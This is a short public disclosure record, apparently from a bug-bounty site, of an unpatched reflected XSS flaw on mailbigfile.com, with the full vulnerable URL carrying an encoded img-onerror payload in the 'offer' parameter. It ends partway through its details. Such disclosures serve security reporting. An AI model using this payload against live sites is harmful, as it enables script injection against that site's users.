mailbigfile.com XSS vulnerability

Vulnerable URL: https://www.mailbigfile.com/mbfhosting/register/index.php?offer=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...